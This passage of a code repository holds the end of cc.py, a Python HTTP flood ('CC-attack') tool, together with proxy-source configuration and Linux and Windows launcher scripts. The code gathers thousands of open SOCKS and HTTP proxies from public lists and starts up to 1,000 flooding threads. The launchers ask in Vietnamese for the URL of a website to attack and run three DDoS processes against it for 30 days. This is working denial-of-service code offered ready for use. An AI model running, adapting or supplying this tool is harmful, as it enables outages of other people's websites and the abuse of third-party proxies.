")
517 | proxies = ""
518 | for proxy in part:
519 | proxy = proxy.split(" | ")
520 | try:
521 | proxies=proxies + proxy[0] + ":" + proxy[1] + "\n"
522 | except:
523 | pass
524 | fd = open(out_file,"a")
525 | fd.write(proxies)
526 | fd.close()
527 | except:
528 | pass
529 | if proxy_ver == "5":
530 | f = open(out_file,'wb')
531 | socks5_api = [
532 | "https://api.proxyscrape.com/v2/?request=getproxies&protocol=socks5&timeout=10000&country=all&simplified=true",
533 | "https://www.proxy-list.download/api/v1/get?type=socks5",
534 | "https://www.proxyscan.io/download?type=socks5",
535 | "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt",
536 | "https://raw.githubusercontent.com/hookzof/socks5_list/master/proxy.txt",
537 | "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks5.txt",
538 | "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-socks5.txt",
539 | "https://api.openproxylist.xyz/socks5.txt",
540 | #"https://www.freeproxychecker.com/result/socks5_proxies.txt",
541 | #http://proxysearcher.sourceforge.net/Proxy%20List.php?type=socks",
542 | "https://api.proxyscrape.com/v2/?request=getproxies&protocol=socks5",
543 | #"https://openproxy.space/list/socks5",
544 | "https://openproxylist.xyz/socks5.txt",
545 | "https://proxyspace.pro/socks5.txt",
546 | "https://raw.githubusercontent.com/B4RC0DE-TM/proxy-list/main/SOCKS5.txt",
547 | "https://raw.githubusercontent.com/manuGMG/proxy-365/main/SOCKS5.txt",
548 | "https://raw.githubusercontent.com/mmpx12/proxy-list/master/socks5.txt",
549 | "https://raw.githubusercontent.com/roosterkid/openproxylist/main/SOCKS5_RAW.txt",
550 | "https://raw.githubusercontent.com/saschazesiger/Free-Proxies/master/proxies/socks5.txt",
551 | #"https://spys.me/socks.txt",
552 | #"http://www.socks24.org/feeds/posts/default"",
553 | ]
554 | for api in socks5_api:
555 | try:
556 | r = requests.get(api,timeout=5)
557 | f.write(r.content)
558 | except:
559 | pass
560 | f.close()
561 | if proxy_ver == "http":
562 | f = open(out_file,'wb')
563 | http_api = [
564 | "https://api.proxyscrape.com/?request=displayproxies&proxytype=http",
565 | "https://www.proxy-list.download/api/v1/get?type=http",
566 | "https://www.proxyscan.io/download?type=http",
567 | "https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/http.txt",
568 | "https://api.openproxylist.xyz/http.txt",
569 | "https://raw.githubusercontent.com/shiftytr/proxy-list/master/proxy.txt",
570 | "http://alexa.lr2b.com/proxylist.txt",
571 | #"https://www.freeproxychecker.com/result/http_proxies.txt",
572 | #"http://proxysearcher.sourceforge.net/Proxy%20List.php?type=http",
573 | "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-http.txt",
574 | "https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt",
575 | "https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/proxies.txt",
576 | "https://raw.githubusercontent.com/opsxcq/proxy-list/master/list.txt",
577 | "https://proxy-spider.com/api/proxies.example.txt",
578 | "https://multiproxy.org/txt_all/proxy.txt",
579 | "https://raw.githubusercontent.com/roosterkid/openproxylist/main/HTTPS_RAW.txt",
580 | "https://raw.githubusercontent.com/UserR3X/proxy-list/main/online/http.txt",
581 | "https://raw.githubusercontent.com/UserR3X/proxy-list/main/online/https.txt",
582 | "https://api.proxyscrape.com/v2/?request=getproxies&protocol=http",
583 | #"https://openproxy.space/list/http",
584 | "https://openproxylist.xyz/http.txt",
585 | "https://proxyspace.pro/http.txt",
586 | "https://proxyspace.pro/https.txt",
587 | "https://raw.githubusercontent.com/almroot/proxylist/master/list.txt",
588 | "https://raw.githubusercontent.com/aslisk/proxyhttps/main/https.txt",
589 | "https://raw.githubusercontent.com/B4RC0DE-TM/proxy-list/main/HTTP.txt",
590 | "https://raw.githubusercontent.com/hendrikbgr/Free-Proxy-Repo/master/proxy_list.txt",
591 | "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-https.txt",
592 | "https://raw.githubusercontent.com/mertguvencli/http-proxy-list/main/proxy-list/data.txt",
593 | "https://raw.githubusercontent.com/mmpx12/proxy-list/master/http.txt",
594 | "https://raw.githubusercontent.com/mmpx12/proxy-list/master/https.txt",
595 | "https://raw.githubusercontent.com/proxy4parsing/proxy-list/main/http.txt",
596 | "https://raw.githubusercontent.com/RX4096/proxy-list/main/online/http.txt",
597 | "https://raw.githubusercontent.com/RX4096/proxy-list/main/online/https.txt",
598 | "https://raw.githubusercontent.com/saisuiu/uiu/main/free.txt",
599 | "https://raw.githubusercontent.com/saschazesiger/Free-Proxies/master/proxies/http.txt",
600 | "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/http.txt",
601 | "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/https.txt",
602 | "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt",
603 | "https://rootjazz.com/proxies/proxies.txt",
604 | "https://sheesh.rip/http.txt",
605 | #"https://spys.me/proxy.txt",
606 | "https://www.proxy-list.download/api/v1/get?type=https",
607 | ]
608 | for api in http_api:
609 | try:
610 | r = requests.get(api,timeout=5)
611 | f.write(r.content)
612 | except:
613 | pass
614 | f.close()
615 | print("> Have already downloaded proxies list as "+out_file)
616 |
617 | def PrintHelp():
618 | print('''=============== CC-attack help list ===============
619 | -h/help | showing this message
620 | -url | set target url
621 | -m/mode | set program mode
622 | -data | set post data path (only works on post mode)
623 | | (Example: -data data.json)
624 | -cookies | set cookies (Example: 'id:xxx;ua:xxx')
625 | -v | set proxy type (4/5/http, default:5)
626 | -t | set threads number (default:800)
627 | -f | set proxies file (default:proxy.txt)
628 | -b | enable/disable brute mode
629 | | Enable=1 Disable=0 (default:0)
630 | -s | set attack time(default:60)
631 | -down | download proxies
632 | -check | check proxies
633 | =====================================================''')
634 |
635 |
636 | def main():
637 | global proxy_ver
638 | global data
639 | global cookies
640 | global brute
641 | global url
642 | global out_file
643 | global thread_num
644 | global mode
645 | global target
646 | global proxies
647 | target = ""
648 | check_proxies = False
649 | download_socks = False
650 | proxy_type = 5
651 | period = 60
652 | help = False
653 | print("> Mode: [cc/post/head]")#slow]")
654 | for n,args in enumerate(sys.argv):
655 | if args == "-help" or args =="-h":
656 | help =True
657 | if args=="-url":
658 | ParseUrl(sys.argv[n+1])
659 | if args=="-m" or args=="-mode":
660 | mode = sys.argv[n+1]
661 | if mode not in ["cc","post","head"]:#,"slow"]:
662 | print("> -m/-mode argument error")
663 | return
664 | if args =="-v":
665 | proxy_ver = sys.argv[n+1]
666 | if proxy_ver == "4":
667 | proxy_type = 4
668 | elif proxy_ver == "5":
669 | proxy_type = 5
670 | elif proxy_ver == "http":
671 | proxy_type = 0
672 | elif proxy_ver not in ["4","5","http"]:
673 | print("> -v argument error (only 4/5/http)")
674 | return
675 | if args == "-b":
676 | if sys.argv[n+1] == "1":
677 | brute = True
678 | elif sys.argv[n+1] == "0":
679 | brute = False
680 | else:
681 | print("> -b argument error")
682 | return
683 | if args == "-t":
684 | try:
685 | thread_num = int(sys.argv[n+1])
686 | except:
687 | print("> -t must be integer")
688 | return
689 | if args == "-cookies":
690 | cookies = sys.argv[n+1]
691 | if args == "-data":
692 | data = open(sys.argv[n+1],"r",encoding="utf-8", errors='ignore').readlines()
693 | data = ' '.join([str(txt) for txt in data])
694 | if args == "-f":
695 | out_file = sys.argv[n+1]
696 | if args == "-down":
697 | download_socks=True
698 | if args == "-check":
699 | check_proxies = True
700 | if args == "-s":
701 | try:
702 | period = int(sys.argv[n+1])
703 | except:
704 | print("> -s must be integer")
705 | return
706 |
707 | if download_socks:
708 | DownloadProxies(proxy_ver)
709 |
710 | if os.path.exists(out_file)!=True:
711 | print("Proxies file not found")
712 | return
713 | proxies = open(out_file).readlines()
714 | check_list(out_file)
715 | proxies = open(out_file).readlines()
716 | if len(proxies) == 0:
717 | print("> There are no more proxies. Please download a new proxies list.")
718 | return
719 | print ("> Number Of Proxies: %d" %(len(proxies)))
720 | if check_proxies:
721 | check_socks(3)
722 |
723 | proxies = open(out_file).readlines()
724 |
725 | if help:
726 | PrintHelp()
727 |
728 | if target == "":
729 | print("> There is no target. End of process ")
730 | return
731 | '''
732 | if mode == "slow":
733 | th = threading.Thread(target=slow,args=(thread_num,proxy_type,))
734 | th.daemon = True
735 | th.start()
736 | else:'''
737 | event = threading.Event()
738 | print("> Building threads...")
739 | build_threads(mode,thread_num,event,proxy_type)
740 | event.clear()
741 | #input("Press Enter to continue.")
742 | event.set()
743 | print("> Flooding...")
744 | time.sleep(period)
745 |
746 | if __name__ == "__main__":
747 | main()#Coded by Leeon123
748 |
--------------------------------------------------------------------------------
/config.ini:
--------------------------------------------------------------------------------
1 | [General]
2 | ; How many seconds to wait for the proxy to make a connection.
3 | ; The higher the number, the longer the check will take
4 | ; and the more proxies you get.
5 | Timeout = 30
6 |
7 | ; Maximum concurrent connections.
8 | ; Don't set higher than 900, please.
9 | MaxConnections = 500
10 |
11 | ; Set to no to sort proxies alphabetically.
12 | SortBySpeed = yes
13 |
14 | ; Path to the folder where the proxy folders will be saved.
15 | ; Leave empty to save the proxies to the current directory.
16 | SavePath =
17 |
18 | [Folders]
19 | ; Proxies with any anonymity level.
20 | proxies = yes
21 | ; Anonymous proxies.
22 | proxies_anonymous = no
23 | ; Same as proxies, but includes exit-node's geolocation.
24 | ; Geolocation format is ip:port|Country|Region|City
25 | proxies_geolocation = no
26 | ; Same as proxies_geolocation, but includes exit-node's geolocation.
27 | proxies_geolocation_anonymous = no
28 |
29 | [HTTP]
30 | Enabled = yes
31 | Sources =
32 | https://api.proxyscrape.com/?request=displayproxies&proxytype=http
33 | https://www.proxy-list.download/api/v1/get?type=http
34 | https://www.proxyscan.io/download?type=http
35 | https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/http.txt
36 | https://api.openproxylist.xyz/http.txt
37 | https://raw.githubusercontent.com/shiftytr/proxy-list/master/proxy.txt
38 | http://alexa.lr2b.com/proxylist.txt
39 | https://www.freeproxychecker.com/result/http_proxies.txt
40 | http://proxysearcher.sourceforge.net/Proxy%20List.php?type=http
41 | https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-http.txt
42 | https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt
43 | https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/proxies.txt
44 | https://raw.githubusercontent.com/opsxcq/proxy-list/master/list.txt
45 | https://proxy-spider.com/api/proxies.example.txt
46 | https://multiproxy.org/txt_all/proxy.txt
47 | https://raw.githubusercontent.com/roosterkid/openproxylist/main/HTTPS_RAW.txt
48 | https://raw.githubusercontent.com/UserR3X/proxy-list/main/online/http.txt
49 | https://raw.githubusercontent.com/UserR3X/proxy-list/main/online/https.txt
50 | https://api.proxyscrape.com/v2/?request=getproxies&protocol=http
51 | https://openproxy.space/list/http
52 | https://openproxylist.xyz/http.txt
53 | https://proxyspace.pro/http.txt
54 | https://proxyspace.pro/https.txt
55 | https://raw.githubusercontent.com/almroot/proxylist/master/list.txt
56 | https://raw.githubusercontent.com/aslisk/proxyhttps/main/https.txt
57 | https://raw.githubusercontent.com/B4RC0DE-TM/proxy-list/main/HTTP.txt
58 | https://raw.githubusercontent.com/hendrikbgr/Free-Proxy-Repo/master/proxy_list.txt
59 | https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-https.txt
60 | https://raw.githubusercontent.com/mertguvencli/http-proxy-list/main/proxy-list/data.txt
61 | https://raw.githubusercontent.com/mmpx12/proxy-list/master/http.txt
62 | https://raw.githubusercontent.com/mmpx12/proxy-list/master/https.txt
63 | https://raw.githubusercontent.com/proxy4parsing/proxy-list/main/http.txt
64 | https://raw.githubusercontent.com/RX4096/proxy-list/main/online/http.txt
65 | https://raw.githubusercontent.com/RX4096/proxy-list/main/online/https.txt
66 | https://raw.githubusercontent.com/saisuiu/uiu/main/free.txt
67 | https://raw.githubusercontent.com/saschazesiger/Free-Proxies/master/proxies/http.txt
68 | https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/http.txt
69 | https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/https.txt
70 | https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt
71 | https://rootjazz.com/proxies/proxies.txt
72 | https://sheesh.rip/http.txt
73 | https://spys.me/proxy.txt
74 | https://www.proxy-list.download/api/v1/get?type=https
75 | https://raw.githubusercontent.com/hanwayTech/free-proxy-list/main/http.txt
76 | https://raw.githubusercontent.com/hanwayTech/free-proxy-list/main/https.txt
77 | https://raw.githubusercontent.com/yemixzy/proxy-list/main/proxy-list/data.txt
78 | https://raw.githubusercontent.com/Zaeem20/FREE_PROXY_LIST/master/http.txt
79 | https://raw.githubusercontent.com/Zaeem20/FREE_PROXY_LIST/master/https.txt
80 |
81 | [SOCKS4]
82 | Enabled = yes
83 | Sources =
84 | http://proxysearcher.sourceforge.net/Proxy%20List.php?type=socks
85 | https://api.proxyscrape.com/v2/?request=getproxies&protocol=socks4
86 | https://openproxy.space/list/socks4
87 | https://openproxylist.xyz/socks4.txt
88 | https://proxyspace.pro/socks4.txt
89 | https://raw.githubusercontent.com/B4RC0DE-TM/proxy-list/main/SOCKS4.txt
90 | https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-socks4.txt
91 | https://raw.githubusercontent.com/mmpx12/proxy-list/master/socks4.txt
92 | https://raw.githubusercontent.com/roosterkid/openproxylist/main/SOCKS4_RAW.txt
93 | https://raw.githubusercontent.com/saschazesiger/Free-Proxies/master/proxies/socks4.txt
94 | https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks4.txt
95 | https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks4.txt
96 | https://spys.me/socks.txt
97 | https://www.freeproxychecker.com/result/socks4_proxies.txt
98 | https://www.proxy-list.download/api/v1/get?type=socks4
99 | https://www.proxyscan.io/download?type=socks4
100 | https://api.proxyscrape.com/?request=displayproxies&proxytype=socks4&country=all
101 | https://api.openproxylist.xyz/socks4.txt
102 | https://raw.githubusercontent.com/hanwayTech/free-proxy-list/main/socks4.txt
103 | https://raw.githubusercontent.com/HyperBeats/proxy-list/main/socks4.txt
104 | https://raw.githubusercontent.com/Zaeem20/FREE_PROXY_LIST/master/socks4.txt
105 |
106 | [SOCKS5]
107 | Enabled = yes
108 | Sources =
109 | https://api.proxyscrape.com/v2/?request=getproxies&protocol=socks5&timeout=10000&country=all&simplified=true
110 | https://www.proxy-list.download/api/v1/get?type=socks5
111 | https://www.proxyscan.io/download?type=socks5
112 | https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt
113 | https://raw.githubusercontent.com/hookzof/socks5_list/master/proxy.txt
114 | https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks5.txt
115 | https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-socks5.txt
116 | https://api.openproxylist.xyz/socks5.txt
117 | https://www.freeproxychecker.com/result/socks5_proxies.txt
118 | http://proxysearcher.sourceforge.net/Proxy%20List.php?type=socks
119 | https://api.proxyscrape.com/v2/?request=getproxies&protocol=socks5
120 | https://openproxy.space/list/socks5
121 | https://openproxylist.xyz/socks5.txt
122 | https://proxyspace.pro/socks5.txt
123 | https://raw.githubusercontent.com/B4RC0DE-TM/proxy-list/main/SOCKS5.txt
124 | https://raw.githubusercontent.com/manuGMG/proxy-365/main/SOCKS5.txt
125 | https://raw.githubusercontent.com/mmpx12/proxy-list/master/socks5.txt
126 | https://raw.githubusercontent.com/roosterkid/openproxylist/main/SOCKS5_RAW.txt
127 | https://raw.githubusercontent.com/saschazesiger/Free-Proxies/master/proxies/socks5.txt
128 | https://spys.me/socks.txt
129 | http://www.socks24.org/feeds/posts/default
130 | https://raw.githubusercontent.com/hanwayTech/free-proxy-list/main/socks5.txt
131 | https://raw.githubusercontent.com/HyperBeats/proxy-list/main/socks5.txt
132 | https://raw.githubusercontent.com/Zaeem20/FREE_PROXY_LIST/master/socks5.txt
133 |
--------------------------------------------------------------------------------
/linux/http.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | cd ..
3 | rm -rf http.txt
4 | python3 cc.py -url $URL -m cc -v http -t 1000 -f $PROXYhttp.txt -b 1 -s 2592000 $VERIFY
--------------------------------------------------------------------------------
/linux/socks4.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | cd ..
3 | rm -rf socks4.txt
4 | python3 cc.py -url $URL -m cc -v 4 -t 1000 -f $PROXYsocks4.txt -b 1 -s 2592000 $VERIFY
--------------------------------------------------------------------------------
/linux/socks5.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | cd ..
3 | rm -rf socks5.txt
4 | python3 cc.py -url $URL -m cc -v 5 -t 1000 -f $PROXYsocks5.txt -b 1 -s 2592000 $VERIFY
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | requests
2 | pysocks
3 | aiodns>=3.0,<4
4 | aiohttp-socks>=0.7,<0.8
5 | aiohttp>=3.8,<4
6 | rich>=12.3,<13
7 | uvloop>=0.16,<0.18; implementation_name == 'cpython' and (sys_platform == 'darwin' or sys_platform == 'linux')
8 |
--------------------------------------------------------------------------------
/start_linux.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | echo Nhan Enter de tiep tuc. Sau khi an Enter se khoi chay 3 quy trinh tan cong DDoS CC cung luc. De co tuy chon khac, vui long su sung Termial.
3 | echo Nhap URL trang web can tan cong:
4 | read URL
5 | PROXY="./"
6 | VERIFY="-down -check"
7 | export URL PROXY VERIFY
8 | pip3 install -r requirements.txt
9 | ./linux/socks5.sh "$URL" "$PROXY" "$VERIFY" & ./linux/socks4.sh "$URL" "$PROXY" "$VERIFY" & ./linux/http.sh "$URL" "$PROXY" "$VERIFY"
10 |
--------------------------------------------------------------------------------
/start_windows.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | echo Nhan Enter de tiep tuc. Sau khi an Enter se khoi chay 3 quy trinh tan cong DDoS CC cung luc. De co tuy chon khac, vui long su sung Termial.
3 | set /p SETURL="Nhap URL trang web can tan cong: "
4 | set PROXY=.\
5 | set VERIFY=-down -check
6 | pip3 install -r requirements.txt
7 | pause
8 | start ./windows/socks5.bat
9 | start ./windows/socks4.bat
10 | start ./windows/http.bat
11 | exit
12 |
--------------------------------------------------------------------------------
/windows/http.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | cd ..
3 | del http.txt
4 | python cc.py -url %SETURL% -m cc -v http -t 1000 -f %PROXY%http.txt -b 1 -s 2592000 %VERIFY%
5 |
--------------------------------------------------------------------------------
/windows/socks4.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | cd ..
3 | del socks4.txt
4 | python cc.py -url %SETURL% -m cc -v 4 -t 1000 -f %PROXY%socks4.txt -b 1 -s 2592000 %VERIFY%
5 |
--------------------------------------------------------------------------------
/windows/socks5.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | cd ..
3 | del socks5.txt
4 | python cc.py -url %SETURL% -m cc -v 5 -t 1000 -f %PROXY%socks5.txt -b 1 -s 2592000 %VERIFY%
5 |
--------------------------------------------------------------------------------
|